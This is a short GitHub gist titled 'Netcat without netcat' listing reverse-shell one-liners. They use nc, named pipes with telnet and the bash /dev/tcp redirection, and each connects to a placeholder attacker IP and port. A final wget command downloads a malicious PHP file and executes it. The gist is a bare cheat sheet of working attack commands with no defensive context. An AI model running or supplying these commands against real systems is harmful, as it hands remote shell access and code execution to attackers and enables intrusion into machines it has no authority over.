Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save Cynesiz/caff0c709fb35c8c2da587b59aeb35a3 to your computer and use it in GitHub Desktop.
Save Cynesiz/caff0c709fb35c8c2da587b59aeb35a3 to your computer and use it in GitHub Desktop.
Netcat without netcat
#1
nc <attacker_ip> <port> -e /bin/bash
#2
mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
#3
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
#4
mknod backpipe p; telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
#5
telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>
#7
wget -O /tmp/bd.php <url_to_malicious_file> && php -f /tmp/bd.php
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment